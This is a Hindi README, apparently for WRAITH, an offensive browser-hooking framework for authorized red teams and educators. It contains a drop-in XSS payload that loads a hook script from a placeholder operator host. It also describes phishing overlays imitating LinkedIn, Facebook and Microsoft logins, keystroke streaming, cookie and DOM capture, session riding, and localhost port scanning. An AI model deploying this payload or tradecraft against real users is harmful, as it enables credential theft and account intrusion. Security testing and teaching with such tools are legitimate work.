
अधिकृत रेड टीमों और शिक्षकों के लिए ब्राउज़र-हुकिंग फ्रेमवर्क। XSS के माध्यम से ब्राउज़रों को हुक करता है, इंटरैक्टिव पोस्ट-एक्सप्लॉइटेशन नियंत्रण, ब्लाइंड-XSS लूट कैप्चर, सोशल-इंजीनियरिंग ओवरले और एक अभ्यास लैब प्रदान करता है।
रेड टीमों, सुरक्षा शोधकर्ताओं और शिक्षकों के लिए एक आधुनिक, स्टैंडअलोन ब्राउज़र-हुकिंग फ्रेमवर्क — BeEF और ब्लाइंड-XSS कॉलबैक टूल्स का एक क्लीन-रूम उत्तराधिकारी।
केवल अधिकृत सुरक्षा परीक्षण, अनुसंधान और शिक्षा के लिए। WRAITH एक आक्रामक-सुरक्षा टूल है जो फ़िशिंग / मैन-इन-द-ब्राउज़र / ब्लाइंड-XSS ट्रेडक्राफ्ट को प्रदर्शित करने और परीक्षण करने के लिए है। इसका उपयोग केवल उन सिस्टम और लोगों के विरुद्ध करें जिनका परीक्षण करने के लिए आपके पास स्पष्ट प्राधिकरण है। आप इसके उपयोग के तरीके के लिए स्वयं जिम्मेदार हैं।

Arcanum में अपने काम के दौरान, हम लगातार दो तरह के टूलिंग की ओर बढ़ते रहे और चाहते थे कि वे एक ही चीज़ हों।
एक तरफ BeEF था — ब्राउज़र एक्सप्लॉइटेशन फ्रेमवर्क — क्लासिक ब्राउज़र को हुक करें, फिर उसके सत्र के अंदर से काम करें वर्कफ़्लो के लिए: नकली लॉगिन की कीस्ट्रोक्स लें, स्थानीय नेटवर्क की रिकॉन करें, लाइव पीड़ित पर एक मॉड्यूल पुश करें। यह वह टूल है जिसका उपयोग हम मैन-इन-द-ब्राउज़र को लोगों के लिए वास्तविक बनाने के लिए करते थे। लेकिन यह अपनी उम्र दिखा रहा है, इसके बड़े हिस्से आज के ब्राउज़रों में अविश्वसनीय हैं, और सोशल-इंजीनियरिंग ओवरले एक दशक पुराने लॉगिन की तरह दिखते हैं।
दूसरी तरफ हमारे पसंदीदा ब्लाइंड-XSS कॉलबैक फ्रेमवर्क थे (XSS Hunter, ezXSS): एक फ़ील्ड में पेलोड डालें, और जिस क्षण यह कहीं ऐसी जगह फायर हो जिसे आप देख नहीं सकते, यह लूट के साथ घर कॉल करता है — ओरिजिन, कुकीज़, DOM, स्क्रीनशॉट।
हमें जिस चीज़ की तेजी से आवश्यकता थी — विशेष रूप से जैसे-जैसे हमारे अधिक लक्ष्य AI एप्लिकेशन इकोसिस्टम बनते गए, जहां अविश्वसनीय टेक्स्ट एजेंटों, टूल आउटपुट, एडमिन समीक्षा कतारों और सपोर्ट कंसोल के माध्यम से बहता है, और — एक ऐसा फ्रेमवर्क था जो करता था: BeEF हुक का इंटरैक्टिव, स्थायी पोस्ट-एक्सप्लॉइटेशन नियंत्रण, फायर-एंड-फॉरगेट ब्लाइंड-XSS कॉलबैक लूट, एक ही पेलोड में जो वर्तमान ब्राउज़रों में विश्वसनीय है और आज के वास्तविक लॉगिन स्क्रीन जैसा दिखता है।
इसलिए हमने WRAITH बनाया।
हम WRAITH को जानबूझकर जल्दी जारी कर रहे हैं। हम इसे उन लोगों के हाथों में देना पसंद करेंगे जो वास्तव में इसका उपयोग करेंगे — और सुनें कि क्या टूटता है — बजाय इसे तब तक रोके रखने के जब तक यह "पूरा" न हो जाए।
इसका मतलब है: खुरदरे किनारों और बग्स की उम्मीद करें। कुछ मॉड्यूल दूसरों की तुलना में अधिक युद्ध-परीक्षित हैं, ब्राउज़र व्यवहार हमारे नीचे लगातार बदलता रहता है (नीचे नेटवर्क-स्कैन नोट्स देखें), और API संस्करणों के बीच बदल सकते हैं। यदि आप किसी चीज़ से टकराते हैं, तो कृपया एक इश्यू खोलें — रीप्रो स्टेप्स, ब्राउज़र + संस्करण, और आपने क्या अपेक्षा की थी, यह सोना है। परियोजना के योगदान शर्तों के तहत PR का स्वागत है।
सबसे तेज़ रास्ता। आपको Docker + Docker Compose चाहिए।
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh आपको हर चीज़ के माध्यम से ले जाता है:
.env (chmod 600) लिखता है, और कंटेनर को बनाता + शुरू करता है। ऑपरेटर कंसोल : http://YOUR_IP:8090/operator/
लॉगिन पेज : http://YOUR_IP:8090/login (उपयोगकर्ता "operator")
डेमो पीड़ित पेज : http://YOUR_IP:8090/demo/
हुक पेलोड : http://YOUR_IP:8090/hook.js
ड्रॉप-इन XSS पेलोड:
"><script src="http://YOUR_IP:8090/hook.js"></script>
इसे मानक compose कमांड के साथ प्रबंधित करें:
docker compose logs -f # इसे देखें
docker compose down # रोकें (./data रखता है)
./setup.sh # पुन: कॉन्फ़िगर करें (पासवर्ड घुमाएं, पता बदलें, …)
कैप्चर किए गए सत्र होस्ट पर ./data/ में बने रहते हैं — कभी इमेज में बेक नहीं होते, कभी कमिट नहीं होते (.env और data/ gitignored हैं)।
ऑपरेटर कंसोल लॉगिन-गेटेड है जब भी एक ऑपरेटर पासवर्ड सेट होता है, उपयोगकर्ता नाम + पासवर्ड साइन-इन के साथ:

npm install
npm start
फिर ऑपरेटर कंसोल http://127.0.0.1:3000/operator/ पर और डेमो पीड़ित पेज http://127.0.0.1:3000/demo/ पर खोलें (दूसरे ब्राउज़र/प्रोफ़ाइल में)। लोकलहोस्ट पर, सुविधा के लिए लॉगिन डिफ़ॉल्ट रूप से अक्षम है — सर्वर ऑपरेटर पासवर्ड के बिना सार्वजनिक इंटरफ़ेस से बाइंड करने से इनकार करता है, ताकि आप गलती से एक खुला पैनल उजागर न कर सकें।
/hook.js एक छोटा पेलोड है। इसे किसी भी पेज में डालें जिसे आप नियंत्रित करते हैं (<script src="/hook.js"></script>) या इसे अपने लक्ष्य में XSS के माध्यम से वितरित करें। इसे लोड करने वाला ब्राउज़र ऑपरेटर के लिए एक WebSocket खोलता है, स्वयं को फिंगरप्रिंट करता है (ब्राउज़र, OS, IP, पेज, UA), स्वतः पुन: कनेक्ट होता है, और नेविगेशन से बच जाता है। हर हुक किया गया ब्राउज़र कंसोल में लाइव दिखाई देता है, जहां आप एक चुनते हैं और उसे चलाते हैं — पूरा डैशबोर्ड इस README के शीर्ष पर हीरो शॉट है: हुक किए गए ब्राउज़र रोस्टर, लक्ष्य विवरण, तैनाती नियंत्रण, लाइव गतिविधि फ़ीड, और कैप्चर किए गए क्रेडेंशियल।
आधुनिक नकली-लॉगिन ओवरले, एक पृथक शैडो DOM में प्रस्तुत किए जाते हैं ताकि वे किसी भी होस्ट पेज पर पिक्सेल-सही दिखें और उनके पीछे के पेज को वास्तविक री-ऑथ मोडल की तरह फ्रॉस्ट-ब्लर करें। LinkedIn, Facebook, और Microsoft / Office 365 (प्रामाणिक दो-चरणीय ईमेल → पासवर्ड) के साथ शिप होता है।

लक्ष्य ओवरले में टाइप करता है हर अक्षर वास्तविक समय में कंसोल पर स्ट्रीम होता है, और सबमिट किए गए क्रेडेंशियल कैप्चर किए गए क्रेडेंशियल में पहुंचते हैं — सभी स्थायी रूप से संग्रहीत होते हैं ताकि रीफ्रेश या पुनरारंभ पर कुछ भी न खोए।

जिस क्षण एक ब्राउज़र हुक करता है, WRAITH स्वतः पेज कैप्चर फायर करता है: वास्तव में वही जो एक ब्लाइंड-XSS फ्रेमवर्क पकड़ता है जब आपका पेलोड कहीं ऐसी जगह फायर करता है जिसे आप देख नहीं सकते — कहां यह फायर हुआ (ओरिजिन + URL + रेफरर), पीड़ित की कुकीज़ (गैर-HttpOnly), पूरा DOM, और एक स्क्रीनशॉट। विफलताओं की ईमानदारी से रिपोर्ट की जाती है, क्योंकि वे सबक हैं: HttpOnly कुकीज़ कभी दिखाई नहीं देतीं, और CSP या क्रॉस-ओरिजिन कैनवास टेंटिंग स्क्रीनशॉट को ब्लॉक कर सकती है।

यह वह जगह है जहां WRAITH उन टूल्स से आगे जाता है जिन्हें यह प्रतिस्थापित करता है। जब आप किसी पेज में ब्लाइंड XSS या हुक उतारते हैं, तो अधिकांश फ्रेमवर्क स्क्रीनशॉट और कच्चे HTML के डंप पर रुक जाते हैं — आप देख सकते हैं कि आपका पेलोड कहां फायर हुआ, लेकिन आप वास्तव में इसके साथ कुछ नहीं कर सकते।
WRAITH का पेज मिरर उस डेड-एंड लूट को एप्लिकेशन के लाइव, नेविगेट करने योग्य दृश्य में बदल देता है। हुक किए गए पेज को ऑपरेटर कंसोल के अंदर एक वास्तविक, प्रस्तुत ब्राउज़र दृश्य के रूप में खोलें — फिर लिंक पर क्लिक करें और ऐप के माध्यम से दृश्य रूप से आगे बढ़ें, ठीक वैसे ही जैसे पीड़ित करता है।

मुख्य बात: हर नेविगेशन हुक किए गए ब्राउज़र के माध्यम से लाया जाता है, इसलिए यह पीड़ित के सत्र और समान-ओरिजिन विश्वास पर सवार होता है। कोई भी पेज, एंडपॉइंट, या सुविधा जो पीड़ित का सत्र पहुंच सकता है, आप भी पहुंच सकते हैं — जिसमें एक प्रमाणित सत्र कुकी के पीछे गेटेड पेज शामिल हैं जिसे आप कभी नहीं देखते (और, HttpOnly होने के कारण, कभी सीधे चुरा नहीं सकते)।
नीचे दिए गए उदाहरण में, हम एक सपोर्ट-एजेंट के टिकट कतार पर शुरू करते हैं और सीधे एक आंतरिक क्रेडेंशियल वॉल्ट पर क्लिक करते हैं — एक ऐसा पेज जो केवल एक प्रमाणित एजेंट सत्र के अंदर हल होता है। कोई क्रेडेंशियल फ़िश नहीं किया गया, कोई कुकी चोरी नहीं हुई: हमने बस पीड़ित के सत्र पर सवार होकर उस तक पहुंचे।

क्रॉस-ओरिजिन रीड अभी भी डिज़ाइन द्वारा विफल होते हैं (समान-ओरिजिन नीति लागू रहती है) — मिरर की पहुंच बिल्कुल पीड़ित की पहुंच है, न अधिक, न कम। वह सीमा स्वयं सबक का हिस्सा है।
हर संदर्भ (HTML, एट्रिब्यूट ब्रेकआउट, टैग-क्लोज़, इवेंट हैंडलर, JS संदर्भ, javascript: URI, jQuery) के लिए फायर-टू-यूज़ इंजेक्शन स्ट्रिंग्स का एक XSS-Hunter-शैली कैटलॉग, प्रत्येक आपके हुक URL के साथ स्वतः भरा हुआ और एक-क्लिक कॉपी करने योग्य।

पीड़ित की स्थानीय सेवाओं को फिंगरप्रिंट करने के लिए हुक किए गए ब्राउज़र को प्रॉक्सी के रूप में उपयोग करता है। यह एक टाइमिंग साइड-चैनल है, जिसे वर्तमान ब्राउज़रों के लिए फिर से बनाया गया है — विश्वसनीय डिफ़ॉल्ट दो स्वतंत्र प्राइमिटिव (fetch- और WebSocket-टाइमिंग, शाब्दिक eBay check.js विधि) का उपयोग करके एक कैलिब्रेटेड 127.0.0.1 स्कैन है। LAN मोड शामिल हैं लेकिन ईमानदारी से लेबल किए गए हैं, क्योंकि Chrome 142+ स्थानीय नेटवर्क एक्सेस अब उन्हें गेट करता है (नीचे देखें)।
/lab पर एक जानबूझकर कमजोर "सपोर्ट डेस्क" जिसमें एक संग्रहीत-XSS सिंक है, ताकि आप पूरी श्रृंखला को एंड-टू-एंड, समान-ओरिजिन प्रदर्शित कर सकें: एक दुर्भावनापूर्ण टिकट सबमिट करें → एक "एजेंट" कतार की समीक्षा करता है और पेलोड फायर करता है (ब्लाइंड-XSS क्षण) → हुक किए गए एजेंट को पेज मिरर करें और सत्र-गेटेड वॉल्ट खींचें। डिज़ाइन द्वारा जानबूझकर असुरक्षित, लगाए गए फ्लैग के साथ।

हुक लोड होते ही फायर करता है, बिल्कुल एक ब्लाइंड-XSS पेलोड की तरह जो एक संग्रहीत फ़ील्ड में डाला गया है जो बाद में किसी एडमिन/सपोर्ट/लॉग/एजेंट संदर्भ में प्रस्तुत होता है जिसे आप देख नहीं सकते। डेटा में ही सतह पर आए सबक:
ऑफ़लाइन प्रयोगशाला के लिए, html2canvas को स्वयं-होस्ट करें — public/vendor/README.md देखें।
JavaScript क्रॉस-ओरिजिन प्रतिक्रियाएं नहीं पढ़ सकता, लेकिन यह एक अनुरोध शुरू कर सकता है और देख सकता है कि यह कैसे और कितनी तेजी से विफल होता है, जो पोर्ट स्थिति को लीक करता है। मॉड्यूल को उसके आसपास फिर से बनाया गया था जो वर्तमान ब्राउज़रों (2025–2026) में काम करता है, क्योंकि पुराना BeEF-युग LAN स्वीप अब मृत है।
आधुनिक वास्तविकता: Chrome 142+ (अक्टूबर 2025) ने लोकल नेटवर्क एक्सेस (LNA) शिप किया, जो निजी रेंज (10.x / 172.16.x / 192.168.x) के अनुरोधों को अनुमति प्रॉम्प्ट के पीछे गेट करता है। एक ब्लाइंड LAN स्वीप अब वायर तक नहीं पहुंचता। लेकिन लूपबैक (127.0.0.1) अभी भी पहुंच योग्य है, और इसे स्कैन करना वास्तविक-विश्व हमला है — eBay, Best Buy, और अन्य आगंतुकों के लोकलहोस्ट को स्थानीय सेवाओं और रिमोट-एक्सेस टूल्स को फिंगरप्रिंट करने के लिए पोर्ट-स्कैन करते पकड़े गए थे।
इसलिए मॉड्यूल के तीन मोड हैं:
127.0.0.1 स्कैन जो fetch-टाइमिंग और WebSocket-टाइमिंग के साथ प्रत्येक पोर्ट की जांच करता है, पहले इस मशीन की RST बेसलाइन सीखता है, फिर किसी भी चीज़ को OPEN के रूप में फ्लैग करता है जो हल करती है, लटकती है, या धीमी चलती है, संभावित सेवा को लेबल करता है, और दिखाता है कि fetch, ws, या दोनों सहमत हुए। आज Chrome और Firefox में काम करता है।| BeEF | WRAITH |
|---|---|
hook.js + XHR पोलिंग | public/hook.js + WebSocket (लाइव, विश्वसनीय) |
| Ruby सर्वर + RESTful API | server.js (Node + ws) |
| ऑनलाइन/ऑफ़लाइन ब्राउज़र पैनल | ऑपरेटर कंसोल "हुक किए गए ब्राउज़र" |
| Pretty Theft मॉड्यूल | ओवरले modules/*.js (आधुनिक LinkedIn/Facebook/Microsoft) |
| नेटवर्क डिस्कवरी / पोर्ट स्कैनर | modules/portscan.js (कैलिब्रेटेड, वर्तमान-ब्राउज़र) |
| कमांड परिणाम | लाइव कीस्ट्रोक्स + कैप्चर किए गए क्रेडेंशियल + स्कैन परिणाम |
| (कोई समकक्ष नहीं) | पेज कैप्चर (ब्लाइंड-XSS लूट) + पेज मिरर (ऐप नेविगेट करें) |
ये टूल हमले के विभिन्न चरणों में रहते हैं और विभिन्न विश्वास संदर्भों का दुरुपयोग करते हैं। वे पूरक हैं, और वे एक साथ श्रृंखलाबद्ध होते हैं।
| WRAITH / BeEF | ब्लाइंड-XSS फ्रेमवर्क (XSS Hunter, ezXSS) | AiTM प्रॉक्सी (Evilginx, EvilGoPhish, Modlishka) | |
|---|---|---|---|
| यह क्या है | ब्राउज़र में मैन-इन-द-मिडल पोस्ट-एक्सप्लॉइटेशन C2 (+ ब्लाइंड-XSS लूट) | एक-शॉट रिकॉन के साथ XSS पहचान + प्रमाण | एडवर्सरी-इन-द-मिडल रिवर्स प्रॉक्सी |
| पूर्वापेक्षा | आपके पास पहले से ही पेज में JS चल रहा है | वही: आपका पेलोड कहीं ऐसी जगह निष्पादित होता है जिसे आप देख नहीं सकते | पीड़ित एक लिंक पर क्लिक करता है और आपके नकली डोमेन पर लॉग इन करता है |
| यह जिस ओरिजिन का दुरुपयोग करता है | पीड़ित का वास्तविक सत्र / वास्तविक ओरिजिन | कमजोर ऐप का ओरिजिन | वास्तविक साइट को प्रॉक्सी करने वाला एक अलग हमलावर डोमेन |
| आप क्या कैप्चर करते हैं | क्रेड्स + कीस्ट्रोक्स + रिकॉन + ब्लाइंड-XSS लूट + पेज मिरर के माध्यम से ऐप नेविगेट करें | "यह फायर हुआ, और यह रहा": DOM, कुकीज़, स्क्रीनशॉट, ओरिजिन | वास्तविक क्रेड्स और पोस्ट-MFA सत्र टोकन |
| MFA को हराता है? | नहीं — आपने एक स्थिर क्रेडेंशियल फ़िश किया | केवल अगर यह पेज में एक लाइव प्रमाणित सत्र पर सवार होता है | हाँ — पोस्ट-ऑथ सत्र कुकी चोरी करना ही बिंदु है |
सिखाने के लिए ईमानदार अंतर: हमारा ओवरले फ़िश वही काटता है जो उपयोगकर्ता टाइप करता है — यह एक वास्तविक सत्र कैप्चर नहीं करता या MFA को नहीं हराता। यह ठीक यही कारण है कि यह एक महान विपरीत है, और उद्योग फ़िशिंग-प्रतिरोधी, ओरिजिन-बाउंड ऑथ (FIDO2 / WebAuthn / पासकी) की ओर क्यों चला गया। एक यथार्थवादी किल चेन तीनों का उपयोग करती है: ब्लाइंड XSS कोड निष्पादन ढूंढता और वितरित करता है, एक WRAITH हुक इंटरैक्टिव इन-